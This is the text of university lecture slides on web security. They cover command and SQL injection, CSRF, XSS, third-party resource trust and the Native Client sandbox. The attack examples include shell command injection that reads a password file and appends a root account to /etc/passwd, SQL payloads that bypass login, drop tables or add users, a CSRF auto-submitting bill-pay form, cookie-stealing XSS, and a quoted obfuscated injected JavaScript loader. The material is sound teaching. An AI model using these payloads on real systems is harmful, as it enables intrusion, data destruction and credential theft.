#### CE 874 - Secure Software Systems

Web Security

Mehdi Kharrazi Department of Computer Engineering Sharif University of Technology



Acknowledgments: Some of the slides are fully or partially obtained from other sources. A reference is noted on the bottom of each slide, when the content is fully obtained from another source. Otherwise a full list of references is provided on the last slide.

### Goals of web security



- Safely browse the web
- •Users should be able to visit a variety of web sites, without incurring harm:
  - No stolen information
  - Site A cannot compromise session at Site B
- Support secure web applications
  - Applications delivered over the web should be able to achieve the same security properties as stand-alone applications



# Web Threat Models

- Web attacker
  - Control attacker.com
  - Can obtain SSL/TLS certificate for attacker.com
  - User visits attacker.com
    - Or: runs attacker's Facebook app, etc.
- Network attacker
  - Passive: Wireless eavesdropper
  - Active: Evil router, DNS poisoning
- Malware attacker
  - Attacker escapes browser isolation mechanisms and run separately under control of OS

### Malware attacker



- Browsers may contain exploitable bugs
  - Often enable remote code execution by web sites
  - Google study: [the ghost in the browser 2007]
    - Found Trojans on 300,000 web pages (URLs)
    - Found adware on 18,000 web pages (URLs)
- Even if browsers were bug-free, still lots of vulnerabilities on the web
  - XSS, SQLi, CSRF, ...



#### **WEB Attacks**

Spring 1398

Ce 874 - Web Security



# Three vulnerabilities we will discuss

- SQL Injection
  - Browser sends malicious input to server
  - Bad input checking fails to block malicious SQL
- CSRF Cross-site request forgery
  - Bad web site sends browser request to good web site, using credentials of an innocent victim
- XSS Cross-site scripting
  - Bad web site sends innocent victim a script that steals information from an honest web site



# Three vulnerabilities we will discuss

SQL Injection

- Uses SQL to change meaning of database command
   database command
- CSRF Cross-site request forgery

• Leverage user's session at victim sever

o good web site, using

- XSS Cross-site scripting
  - Inject malicious script into trusted script that steals information from context



#### Command Injection Background for SQL Injection

# General code injection attacks



- Attack goal: execute arbitrary code on the server
- Example
  - code injection based on eval (PHP)
  - http://site.com/calc.php (server side calculator)

```
...
$in = $_GET[`exp'];
eval('$ans = ' . $in . ';');
...
```

Attack

http://site.com/calc.php?exp="10; system('rm \*.\*') "



# Code injection using system()

• Example: PHP server-side code for sending email

```
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")</pre>
```

Attacker can post

http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls

OR

http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo "evil::0:0:root:/:/bin/sh">>/etc/passwd; ls



#### SQL Injection

Spring 1398

Ce 874 - Web Security



• Sample PHP

- Problem
  - What if 'recipient' is malicious string that changes the meaning of the query?

### Basic picture: SQL Injection





Spring 1398

Ce 874 - Web Security



# Example: buggy login page (ASP)

```
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " '
    AND pwd=' " & form("pwd") & " '" );
```

```
if not ok.EOF
   login success
else fail;
```

Is this exploitable?





# **Normal Query**

### Bad input



- •Suppose user = " ' or 1=1 -- " (URL encoded)
- •Then scripts does:

```
ok = execute (SELECT ...
WHERE user = ' ' or 1=1 -- ... )
```

- The ``--'' causes rest of line to be ignored.
- Now ok.EOF is always false and login succeeds.
- •The bad news: easy login to many sites this way.



#### Even worse

• Suppose user =

• " '; DROP TABLE Users -- "

•Then script does:

```
ok = execute (SELECT ...
WHERE user= ' '; DROP TABLE Users ... )
```

• Deletes user table

• Similarly: attacker can add users, reset pwds, etc.

Spring 1398



#### Even worse ...

• Suppose user =

- '; exec cmdshell
- Inet user badguy badpwd' / ADD --
- •Then script does:

```
ok = execute(SELECT ...
WHERE username= ' '; exec ... )
```

• If SQL server context runs as "sa", attacker gets account on DB server



# Preventing SQL Injection

- Never build SQL commands yourself !
- •Use parameterized/prepared SQL
- •Use ORM framework

# Parameterized/prepared SQL



- •Builds SQL queries by properly escaping args: '  $\rightarrow$  \'
- •Example: Parameterized SQL: (ASP.NET 1.1)
- Ensures SQL arguments are properly escaped.

```
SqlCommand cmd = new SqlCommand(
  "SELECT * FROM UserTable WHERE
  username = @User AND
  password = @Pwd", dbConnection);
```

```
cmd.Parameters.Add("@User", Request["user"]);
```

```
cmd.Parameters.Add("@Pwd", Request["pwd"]);
```

```
cmd.ExecuteReader();
```



#### Cross Site Request Forgery

### Recall: session using cookies





Spring 1398

Ce 874 - Web Security

#### Basic picture





#### Q: how long do you stay logged in to Gmail? Facebook? ....

Ce 874 - Web Security



# Cross Site Request Forgery (CSRF)

#### •<u>Example</u>:

- •User logs in to bank.com
  - Session cookie remains in browser state
- •User visits another site containing:

<form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> ... <script> document.F.submit(); </script>

- Browser sends user auth cookie with request
  - Transaction will be fulfilled
- <u>Problem</u>:
  - cookie auth is insufficient when side effects occur

#### Form post with cookie





Spring 1398



# Cookieless Example: Home Router



# Attack on Home Router



• Fact:

- 50% of home users have broadband router with a default or no password
- Drive-by Pharming attack: User visits malicious site
- JavaScript at site scans home network looking for broadband router:
  - SOP allows "send only" messages
  - Detect success using onerror:

<IMG SRC=192.168.0.1 onError = do() >

- Once found, login to router and change DNS server
- Problem: "send-only" access sufficient to reprogram router



### **CSRF** Defenses



Secret Validation Token



Referer Validation



<input type=hidden value=23a3af01b

Referer: http://www.facebook.com/home.ph



# Login CSRF



Spring 1398

Ce 874 - Web Security



# Payments Login CSRF





# Payments Login CSRF

🕹 Logging in - PayPal - Mozilla Firefox		×]-
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp	1	
🕢 🗸 C 🔀 🏠 🥬 Paypal Inc. (US) https://www.paypal.com/us/cgi-bin/webscr?cr 🏠 🔹 🕻	Google 🖇	D
👩 FAQ - Sura-Sura Kanji Quizzer 🛛 😰 🥬 Logging in - PayPal		-
PayPal		<u>^</u>
Logging in		=
If this page appears for more than 5 seconds, <u>click here</u> to reload.		
		~
<		
Done	www.paypal.com 🔒	



# Payments Login CSRF

d a Bank Account in the U	nited States - PayPal - Mozilla Firefox	
<u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookma	ks <u>T</u> ools <u>H</u> elp	
🔊 • C 🗙 🏠 (	P Paypal Inc. (US) https://www.paypal.com/us/cgi-bin/webscr?dispatch=5885d80a13k ☆ 🔹 💽 🕻 Gr	oogle
AQ - Sura-Sura Kanji Quizzer	Add a Bank Account in the United	
	Log Out Help Security Center	Search
PayPal		
My Account Send Mo	ney Request Money Merchant Services Auction Tools Products & Services	
		_
Add a Bank Acc	ount in the United States Secure Tr	ansaction 📋
PayPal protects the privacy of funding source for most of vo	the your financial information regardless of your payment source. This bank account will become ur PavPal payments, however you may change this funding source when you make a payment. Re	the default view our
education page to learn more	about PayPal policies and your payment-source rights and remedies.	
The safety and security of you	r bank account information is protected by PayPal. We protect against upputborized withdrawals fi	om vour
bank account to your PayPal	account. Plus, we will notify you by email whenever you deposit or withdraw funds from this bank a	ccount using
PayPal.		
Country:	United States	
*Bank Name:		
Account Type:		
Account Type		
	Counigo	
U.S. Check	Sample	
NENO		
:211554485: 0012	1456874801 M	
Routing Number Check	# Account Number	
I (9 digits) I	(3-17 digits)	
*Routing Number:	(9 digits)	
	Is usually located between the symbols on your check.	
*Account Number:	(2-17 dinits)	
	Typically comes before the <b>II</b> symbol. Its exact location and number of digits varies from bank to bank.	
*Re-enter Account Number:		
ontor noovant namber.		
	Continue	Cancel
	Continue	Cancel

Ce 874 - Web Security

#### [Mitchell'14]

#### Spring









#### Cross Site Scripting (XSS)



# Three vulnerabilities we will discuss

- SQL Injection
- Brows Uses SQL to change meaning of
- Bad ir database command GQL
- CSRF Cross-site request forgery
- •Bad w Leverage user's session at victim sever
- d web site, using credentials of an

- XSS Cross-site scripting
- •Bad w Inject malicious script into trusted that steals information from an honest



#### Basic scenario: reflected XSS attack


### XSS example: vulnerable site



• search field on victim.com:

```
http://victim.com/search.php ? term = apple
```

• Server-side implementation of **search.php**:



## Bad input

• Consider link: (properly URL encoded)

- What if user clicks on this link?
- 1. Browser goes to victim.com/search.php
- 2. Victim.com returns

### <HTML> Results for <script> ... </script>

3. Browser executes script:

Sends badguy.com cookie for victim.com



### What is XSS?



- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application
- Methods for injecting malicious code:
- Reflected XSS ("type 1")
  - the attack script is reflected back to the user as part of a page from the victim site
- Stored XSS ("type 2")
  - the attacker stores the malicious code in a resource managed by the web application, such as a database
- •Others, such as DOM-based attacks



### Basic scenario: reflected XSS attack



### Adobe PDF viewer "feature"



• PDF documents execute JavaScript code

http://path/to/pdf/			
file.pdf#whatever_name_	_you_	_want=javascript:code_	here

- •The code will be executed in the context of the domain where the PDF files is hosted
- •This could be used against PDF files hosted on the local filesystem

http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html Spring 1398 Ce 874 - Web Security [Mitchell'14]



- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion

http://website.com/path/to/file.pdf#s=javascript:alert("xss");)

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

### Note: alert is just an example. Real attacks do something worse.

## And if that doesn't bother you...



• PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript Malware now runs in local context with the ability to read local files ...

### Reflected XSS attack





Spring 1398

Ce 874 - Web Security

### Stored XSS







- Users can post HTML on their pages
- MySpace.com ensures HTML contains no

<script>, <body>, onclick, <a href=javascript://>

... but can do Javascript within CSS tags:

<div style="background:url('javascript:alert(1)')">

And can hide "javascript" as "java\nscript"

- With careful javascript hacking:
  - Samy worm infects anyone who visits an infected MySpace page ... and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html



## Stored XSS using images

• Suppose pic.jpg on web server contains HTML !

• request for <a href="http://site.com/pic.jpg">http://site.com/pic.jpg</a> results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg
<html> fooled ya </html>
```

• IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an "image" that is a script?



- The best way to protect against XSS attacks:
  - Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  - Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  - Adopt a 'positive' security policy that specifies what is allowed.
     'Negative' or attack signature based policies are difficult to maintain and are likely to be incomplete.



### Security Challenges in an Increasingly Tangled Web, Kumar, D., Ma, Z., Durumeric, Z., Mirian, A., Mason, J., Halderman, J. A., & Bailey, M. WWW 2017



## The web is growing in complexity





TUESDAY MAR. 7, 2017

OST POPULAR LOCAL SPORTS ENTERTAINMENT POLITICS OPINION PLACE

-××- 6









OVER 2,000 PRIZES. 1 IN 40 Chance to Win a prize



### Election Day in L.A. FULL COVERAGE>



### LA. NOW 3:00 AM L.A. decides: What kind of city do you want to live in?

### By Dakota Smith

On the ballot: Whether to re-elect Mayor Eric Garcetti, the contentious Measure S on development and a quarter-cent sales ax increase for homeless services.

### OPINION

- Everything you need to know about Measure S
- If you don't think L.A. needs Measure H, try volunteering on skid row for a week
- The Times Editorial Board' endorsements

Spring 1398

### Ce 874 - Web Security



TUESDAY MAR. 7, 2017

OST POPULAR LOCAL SPORTS ENTERTAINMENT POLITICS OPINION PLACE AN

-ŏ- 6'



### Spring 1398

### Ce 874 - Web Security



Only 21 from latimes.com





## kind of city do you 80 external networks

L.A. decides: What

Spring 1398



TUESDAY MAR. 7, 2017

IOST POPULAR LOCAL SPORTS ENTERTAINMENT POLITICS OPINION PLACE A

-ÿ- 6'



## 8 countries

Ce 874 - Web Security

[Kumar'17]

Spring 1398



## Measuring the Web

Leveraged **headless chromium** to build a resource tree for any website

Loaded the network resources for the **Alexa Top Million** sites

Crawled web from October 5th -October 7th 2016 at University of Michigan

### https://github.com/zmap/zbrowse

Spring 1398















| Metric                       | 2016 |
|------------------------------|------|
| Median<br>Resources          | 73   |
| Median External<br>Resources | 23   |
| Median External<br>Domains   | 9    |



How has this changed?

 Understanding Website Complexity: Measurements, Metrics, and Implications (Butkiewicz et. al in 2011)

| Metric                            | 2011 | 2016 |
|-----------------------------------|------|------|
| Median<br>Dependencies            | 40   | 73   |
| % External<br>Dependencies        | 30%  | 64%  |
| Median<br>JavaScript<br>resources | 6    | 13   |



# Websites load 2x overall and external resources compared to 2011



### Who do websites depend on?

### Who do websites depend on?



| Organization | % Top 1M |
|--------------|----------|
| Google       | 82.2%    |
| Facebook     | 34.1%    |
| Amazon       | 32.6%    |
| Cloudflare   | 30.7%    |
| Akamai       | 20.3%    |

### Top Domains and Networks

Spring 1398

Ce 874 - Web Security



## Top Domains and Networks Who do websites depend on?

# Websites are increasingly loading resources from common providers

Akamai 20.3% Twitter 11

Spring 1398



### Why do we rely on these providers?



## Why do we rely on these providers?

| Type of<br>Resource    | % Top 1M |
|------------------------|----------|
| Analytics/<br>Tracking | 75.4%    |
| CDN/Static<br>Content  | 65.2%    |
| Advertising            | 42.2%    |
| Social Media           | 39.7%    |
| API/Services           | 39.0%    |

## Complexity



- In 2016, websites are complex and load 2x the number of overall and external resources since 2011
- Websites are increasingly loading these resources from a handful of common providers
- These resources are primarily focused on analytics/tracking, CDNs, and advertising



### Why do we care?

Spring 1398



### exploit injection #128

Closed sdmytrenko-zz opened this issue on May 25, 2013 · 22 comments

sdmytrenko-zz commented on May 25, 2013

### this code:

e=eval;v="0"+"x";a=0;z="y";try{a\*=2}catch(q){a=1}if(!a){try{--document["\x62od"+z]}c {a2="\_";sa=7;}z="70\_6d\_27\_2f\_75\_68\_7d\_70\_6e\_68\_7b\_76\_79\_35\_7c\_7a\_6c\_79\_48\_6e\_6c \_75\_6b\_6c\_7f\_56\_6d\_2f\_29\_54\_5a\_50\_4c\_29\_30\_27\_45\_27\_37\_27\_30\_82\_11\_6b\_76\_6a\_7c\_ 35\_7e\_79\_70\_7b\_6c\_2f\_2e\_43\_7a\_7b\_80\_73\_6c\_45\_35\_71\_81\_40\_3e\_3c\_39\_38\_73\_76\_7f\_ 76\_7a\_70\_7b\_70\_76\_75\_41\_68\_69\_7a\_76\_73\_7c\_7b\_6c\_42\_27\_73\_6c\_6d\_7b\_41\_34\_38\_38\_ 42\_27\_7b\_76\_77\_41\_34\_38\_3e\_40\_39\_77\_7f\_84\_27\_43\_36\_7a\_7b\_80\_73\_6c\_45\_27\_43\_6b\_, \_\_, \_\_\_, \_\_\_, 73\_68\_7a\_7a\_44\_29\_71\_81\_40\_3e\_3c\_39\_38\_73\_76\_7f\_29\_45\_43\_70\_6d\_79\_68\_74\_6c\_27\_7a\_79\_6a\_44\_ 29\_6f\_7b\_7b\_77\_41\_36\_36\_39\_37\_3f\_35\_3b\_3a\_35\_39\_3a\_3d\_35\_38\_3e\_38\_36\_37\_6a\_68\_3d\_69\_68\_38\_ 3d\_3c\_3b\_3a\_3c\_3d\_3b\_3e\_38\_36\_78\_35\_77\_6f\_77\_29\_27\_7e\_70\_6b\_7b\_6f\_44\_29\_38\_3e\_39\_29\_27\_6f\_ 6c\_70\_6e\_6f\_7b\_44\_29\_38\_3a\_39\_29\_45\_43\_36\_70\_6d\_79\_68\_74\_6c\_45\_43\_36\_6b\_70\_7d\_45\_2e\_30\_4 2\_11\_84""split":za="":for(i=0:i<z.length:i++){za+=String"fromCharCode":}zaz=za:e(zaz):}

### **BootstrapCDN Security Post-Mortem** appea

### http:/

http:/ A very unfortunate security event happened last month, which affected folks using BootstrapCDN. We http:/ at NetDNA want to share an open, detailed report in this blog post, and continue to answer questions that may not have been addressed. Read More



Hot Pear @hotpea

@jdorfman most likely false positive but NOD32 was flaggin bootstrapcdn's js files as having trojan. Might wanna check hash just to be sure.



### How does a complex web impact who users trust?

### Trust



Increased reliance on external resources forces sites to **implicitly trust** many resources

Website

### Trust




#### Trust





[Kumar'17]

#### Trust





[Kumar'17]

#### Trust



Increased reliance on external resources forces sites to **implicitly trust** many resources



#### Implicit Trust



- We've seen the security consequences of sites depending on common **explicitly trusted** resources...
- But what happens when sites themselves have no visibility into the resources they load?



#### Implicit Trust

Increased reliance on resources

#### Major sites including New York Times and BBC hit by 'ransomware' malvertising

#### **itly trust** many

Adverts hijacked by malicious campaign that demands payment in bitcoin to unlock user computers



plicitly trusted domains and resources

Ransomware can lock up your computer, costing hundreds of pounds. Photograph: Alamy

## Who causes implicit trust?



| Domain loads<br>implicit content | % Top 1M |
|----------------------------------|----------|
| doubleclick.net                  | 9.6%     |
| facebook.com                     | 9.3%     |
| google.com                       | 4.7%     |
| youtube.com                      | 3.3%     |
| adlegend.com                     | 2.0%     |
| casalemedia.com                  | 1.4%     |
| sharethis.com                    | 1.3%     |
| vk.com                           | 1.0%     |

33% of sites load at least one implicitly trusted resource

bada.tv loads 103 implicit resources

argumenti.ru loads implicit resources at depth of 17



33% of sites load at least one implicitly trusted resource

# Advertising resources are the major cause of implicit trust on

| youtube.com | 3.3%       |
|-------------|------------|
|             | 20 The Wed |
|             |            |
|             |            |
|             |            |



#### **Browser Security**

Spring 1398

Ce 874 - Web Security



#### Native Client: A Sandbox for Portable, Untrusted x86 Native Code, Yee B, Sehr D, Dardyk G, Chen JB, Muth R, Ormandy T, Okasaka S, Narula N, Fullagar N. IEEE S&P, 2009

#### Everyone uses the web browser



- Browser is the most important tool to get the information in modern society.
- Restricted environment for safety purpose.
  - Interpreter-based sandbox
  - Slow
- •Native plug-ins for extra performance or functionality requirements.
  - Fast, versatile
  - Trust-based protection but not safe



#### What is NaCl?



- To succeed where others have failed:
- ActiveX
  - Trust me, Microsoft does...
- NPAPI
  - Solely for plugins, but just as dangerous
- JavaScript
  - Too slow





- "No fundamental reason why native code should be unsafe"
- Traditional difficulties:
  - The problem of deciding the outcome of arbitrary native code while executing it is undecidable.
  - Many unexpected side effects during code execution.
    - Exception, interrupt, racing condition, I/O.
- But a safe and efficient isolated environment can be created for restricted native code.



#### Threat model



- Achieve comparable safety to accepted systems such as JavaScript.
- Input: arbitrary code and data
  - support multi-threading, inter-module communication
- Restrictions (Obligations):
  - No code page writing: No self-modification code, No JIT
  - No direct system call: No I/O
  - No hardware exception/interrupt: failsafe
  - No ambiguous indirect control flow transfer
  - Isolated direct memory access



#### Obey me or die









#### Microkernel-based architecture



Untrusted native code runs in its own private address space created by X86 segment registers (%cs, %ds, %gs, %fs, %ss).

Each NaCl module runs as a separated process.

All dangerous interfaces are forbidden or monitored by the sandbox (including the instructions modifying the segment registers).



## Security properties under obligations

- A static code analysis will ensure:
- Data integrity
  - All memory addresses are within the sandbox
  - Otherwise, a segmentation fault given (%cs, %ds,... are set)
- Reliable disassembly
  - All possible jump targets are known (mandatory 32byte alignment for all jump instructions)
- No unsafe instructions
  - Disassembler is reliable
- Control flow integrity
  - Same reason for reliable disassembly



# Load a NaCl module



#### Memory address:



- 1. Verify the module code according to the obligations.
- 2. Load control code block into memory (including system call trampolines, thread context data).
- 3. Load the module code and data into memory.
- 4. Set the segment registers to establish a private memory space (64KB afterwards, 64KB is the zero offset).
- 5. Transfer the control to the module code.





## Applications, tools, and availability

- Applications
  - Allow developer to choose any language in the browser (not just JavaScript).
  - Allow simple, computationally intensive extensions for web applications
  - Binary-level sandbox without a trusted compiler
- Tools: GCC tool chain
  - on Ubuntu Linux, MacOS, Windows XP
- Availability: open source, part of Chrome
  - http://code.google.com/p/nativeclient/



#### Ported programs mentioned:

- SPEC CPU 2000 benchmarks
- Some graphics computation demo
- H.264 video decoder

Easier than you imagine

- Physics simulation system
- FPS game (Quake)







# Insignificant performance overhead





Max space overhead is **57.5%** code size increment for gcc in SPEC CPU 2000.

Mandatory alignment for jump targets impacts the instruction cache and increases the code size (more significant if compared to dynamic linked executables).

Spring 1398

Ce 874 - Web Security





- [Mitchell'14] CS155: Computer and Network Security, John Mitchell and Dan Boneh, Stanford University, 2014
- [Kumar'17] Security Challenges in an Increasingly Tangled Web, Kumar, D., Ma, Z., Durumeric, Z., Mirian, A., Mason, J., Halderman, J. A., & Bailey, M. Slides from WWW 2017
- [Yee'09] Native Client: A Sandbox for Portable, Untrusted x86 Native Code, Yee B, Sehr D, Dardyk G, Chen JB, Muth R, Ormandy T, Okasaka S, Narula N, Fullagar N., Slides from IEEE S&P, 2009